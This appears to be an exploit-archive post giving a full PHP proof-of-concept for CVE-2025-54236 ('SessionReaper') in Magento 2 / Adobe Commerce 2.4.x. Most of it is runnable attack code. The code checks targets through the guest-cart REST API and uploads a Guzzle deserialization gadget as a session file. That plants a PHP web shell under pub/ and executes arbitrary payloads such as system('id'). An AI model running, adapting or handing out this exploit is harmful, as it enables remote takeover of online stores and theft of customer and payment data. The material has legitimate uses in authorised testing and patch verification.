============================================================================================================================================= | # Title : Magento 2 / Adobe Commerce 2.4.x SessionReaper Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://community.magento.com/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212729/ & CVE-2025-54236 [+] Summary : This PHP script is a proof‑of‑concept exploit targeting Magento for CVE‑2025‑54236, commonly referred to as SessionReaper. It is a PHP port of an original Metasploit module and is designed for security testing. [+] What it does (high level): Generates random identifiers (session ID, filenames, parameters) to avoid collisions. Checks whether a Magento target appears vulnerable by sending crafted REST API requests and analyzing HTTP responses (400/404/500 patterns). If vulnerable, abuses PHP object deserialization via Magento’s REST endpoint to manipulate the session save path. Uploads a malicious session file using a file upload endpoint. Triggers deserialization to write a PHP file into a web‑accessible location. Executes a supplied PHP payload by POSTing base64‑encoded data to the dropped file. Uses cURL for all HTTP interactions and handles multipart/form‑data manually. [+] Key components: check() — determines vulnerability based on response behavior. exploit() — performs the full exploit chain and executes a payload. Guzzle/FW1 object serialization — used to craft the malicious session content. Randomization helpers — generate IDs, filenames, and parameters. CLI usage — allows running the script from the command line with a target URL and optional payload. [+] PoC : # For testing only php magento_exploit.php https://target.com/ # For execution with a custom payload php magento_exploit.php https://target.com/ 'echo "Vulnerable!";' targetUrl = rtrim($targetUrl, '/'); $this->sessionId = $this->generateRandomHex(32); $this->sessionFilename = "sess_{$this->sessionId}"; $this->exploitFilename = $this->generateRandomAlphanumeric(4, 8) . ".php"; $this->postParam = $this->generateRandomAlphanumeric(4, 8); $this->formKey = $this->generateRandomAlphanumeric(8, 12); } public function check() { $randomPath = $this->generateRandomAlphanumeric(4, 8) . '/' . $this->generateRandomAlphanumeric(4, 8) . '/' . $this->generateRandomAlphanumeric(4, 8); $cartId = $this->generateRandomAlphanumeric(4, 8); $payload = $this->buildDeserializationPayload($randomPath); $url = $this->targetUrl . "/rest/default/V1/guest-carts/{$cartId}/order"; $response = $this->sendRequest($url, 'PUT', $payload, [ 'Content-Type: application/json', 'Accept: application/json' ]); if (!$response) { return ['status' => 'unknown', 'message' => 'No response from target']; } $httpCode = $response['http_code']; $body = strtolower($response['body']); switch ($httpCode) { case 400: return ['status' => 'safe', 'message' => 'Target is patched (returns 400 Bad Request)']; case 404: if ($this->check404Response($body)) { return ['status' => 'vulnerable', 'message' => 'Target returned 404 with expected error pattern']; } break; case 500: if ($this->check500Response($body)) { return ['status' => 'vulnerable', 'message' => 'Target returned 500 error with SessionHandler']; } break; } return ['status' => 'unknown', 'message' => "Unexpected HTTP status: {$httpCode}"]; } public function exploit($phpPayload) { echo "[*] Generating Guzzle/FW1 deserialization payload...\n"; $phpStub = "postParam}']));?>"; $guzzlePayload = $this->buildGuzzleFw1Payload("pub/{$this->exploitFilename}", $phpStub); echo "[*] Uploading session file with Guzzle payload...\n"; $uploadedPath = $this->uploadSessionFile($guzzlePayload); if (!$uploadedPath) { return ['success' => false, 'message' => 'Failed to upload session file']; } $savePath = "media/customer_address" . dirname($uploadedPath); echo "[*] Triggering deserialization...\n"; if (!$this->triggerDeserialization($savePath)) { return ['success' => false, 'message' => 'Failed to trigger deserialization']; } echo "[*] Executing payload...\n"; $encodedPayload = base64_encode($phpPayload); $executeUrl = $this->targetUrl . "/pub/{$this->exploitFilename}"; $response = $this->sendRequest($executeUrl, 'POST', http_build_query([$this->postParam => $encodedPayload]), ['Content-Type: application/x-www-form-urlencoded'] ); if ($response && $response['http_code'] == 200) { echo "[+] Payload executed successfully!\n"; echo "[+] Response: " . substr($response['body'], 0, 500) . "...\n"; return [ 'success' => true, 'message' => 'Exploit completed', 'session_id' => $this->sessionId, 'exploit_file' => $this->exploitFilename, 'post_param' => $this->postParam ]; } return ['success' => false, 'message' => 'Payload execution failed']; } private function check404Response($body) { if (strpos($body, 'no such entity') === false) { return false; } return (strpos($body, 'cartid') !== false) || (strpos($body, 'fieldname') !== false && strpos($body, 'fieldvalue') !== false); } private function check500Response($body) { if (strpos($body, '500 internal server error') !== false && strpos($body, 'sessionhandler') === false) { return false; } return (strpos($body, 'sessionhandler::read') !== false) || (strpos($body, 'no such file or directory') !== false && strpos($body, 'session') !== false) || (strpos($body, 'webapi-') !== false); } private function sessionSaveDirFromFilename($filename) { return $filename[0] . '/' . $filename[1]; } private function uploadSessionFile($content) { $filename = $this->sessionFilename; echo "[*] Uploading malicious session file: {$filename}\n"; // Create multipart form data $boundary = '----' . md5(microtime()); $eol = "\r\n"; $data = "--{$boundary}{$eol}"; $data .= "Content-Disposition: form-data; name=\"form_key\"{$eol}{$eol}"; $data .= "{$this->formKey}{$eol}"; $data .= "--{$boundary}{$eol}"; $data .= "Content-Disposition: form-data; name=\"custom_attributes[country_id]\"; filename=\"{$filename}\"{$eol}"; $data .= "Content-Type: application/octet-stream{$eol}{$eol}"; $data .= "{$content}{$eol}"; $data .= "--{$boundary}--{$eol}"; $url = $this->targetUrl . "/customer/address_file/upload"; $response = $this->sendRequest($url, 'POST', $data, [ "Content-Type: multipart/form-data; boundary={$boundary}", "Cookie: form_key={$this->formKey}" ]); if (!$response || $response['http_code'] != 200) { echo "[-] Upload failed with HTTP code: " . ($response['http_code'] ?? 'No response') . "\n"; return false; } // Parse JSON response $json = json_decode($response['body'], true); if (isset($json['error']) && $json['error'] != 0) { echo "[-] Upload failed: {$json['error']}\n"; return false; } if (isset($json['file'])) { return $json['file']; } // Default path $saveDir = $this->sessionSaveDirFromFilename($filename); return "/{$saveDir}/{$filename}"; } private function buildDeserializationPayload($savePath) { $payload = [ 'paymentMethod' => [ 'paymentData' => [ 'context' => [ 'urlBuilder' => [ 'session' => [ 'sessionConfig' => [ 'savePath' => $savePath ] ] ] ] ] ] ]; return json_encode($payload); } private function triggerDeserialization($savePath) { $cartId = $this->generateRandomAlphanumeric(4, 8); $payload = $this->buildDeserializationPayload($savePath); $url = $this->targetUrl . "/rest/default/V1/guest-carts/{$cartId}/order"; $response = $this->sendRequest($url, 'PUT', $payload, [ 'Content-Type: application/json', 'Accept: application/json', "Cookie: PHPSESSID={$this->sessionId}" ]); if (!$response) { return false; } return in_array($response['http_code'], [404, 500]); } private function serializeStringAscii($str) { $result = ''; $length = strlen($str); for ($i = 0; $i < $length; $i++) { $byte = ord($str[$i]); // Keep printable ASCII except backslash and double quote if ($byte >= 32 && $byte <= 126 && $byte != 92 && $byte != 34) { $result .= $str[$i]; } else { // Escape as \xHH $result .= sprintf("\\x%02x", $byte); } } return "S:{$length}:\"{$result}\";"; } private function buildGuzzleFw1Payload($targetFile, $phpContent) { $escaped = "{$phpContent}\n"; $setCookieData = "a:3:{" . $this->serializeStringAscii('Expires') . "i:1;" . $this->serializeStringAscii('Discard') . "b:0;" . $this->serializeStringAscii('Value') . $this->serializeStringAscii($escaped) . "}"; $setCookie = 'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:' . "{" . $this->serializeStringAscii('data') . $setCookieData . "}"; $cookiesArray = "a:1:{i:0;{$setCookie}}"; $fileCookieJar = 'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:' . "{" . $this->serializeStringAscii('cookies') . $cookiesArray . $this->serializeStringAscii('strictMode') . "N;" . $this->serializeStringAscii('filename') . $this->serializeStringAscii($targetFile) . $this->serializeStringAscii('storeSessionCookies') . "b:1;}"; return "_|{$fileCookieJar}"; } private function sendRequest($url, $method, $data = null, $headers = []) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_TIMEOUT, 30); if ($data !== null) { curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } if (!empty($headers)) { curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } $body = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($error && !$body) { echo "[-] cURL error: {$error}\n"; return false; } return [ 'http_code' => $httpCode, 'body' => $body, 'error' => $error ]; } private function generateRandomHex($length) { $bytes = random_bytes($length / 2); return bin2hex($bytes); } private function generateRandomAlphanumeric($min, $max) { $length = random_int($min, $max); $chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $result = ''; for ($i = 0; $i < $length; $i++) { $result .= $chars[random_int(0, strlen($chars) - 1)]; } return $result; } } if (php_sapi_name() === 'cli') { if ($argc < 2) { echo "Usage: php " . basename(__FILE__) . " [payload]\n"; echo "Example: php " . basename(__FILE__) . " https://target.com/ 'system(\"id\");'\n"; exit(1); } $targetUrl = $argv[1]; $payload = $argv[2] ?? 'echo "Exploit successful!";'; $exploit = new MagentoSessionReaperExploit($targetUrl); echo "[*] Checking target: {$targetUrl}\n"; $checkResult = $exploit->check(); echo "[*] Check result: {$checkResult['status']} - {$checkResult['message']}\n"; if ($checkResult['status'] === 'vulnerable') { echo "[*] Target appears vulnerable. Proceeding with exploit...\n"; $result = $exploit->exploit($payload); if ($result['success']) { echo "[+] Exploit successful!\n"; echo "[+] Session ID: {$result['session_id']}\n"; echo "[+] Exploit file: {$result['exploit_file']}\n"; echo "[+] POST parameter: {$result['post_param']}\n"; } else { echo "[-] Exploit failed: {$result['message']}\n"; } } else { echo "[-] Target does not appear vulnerable or check failed\n"; } } Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================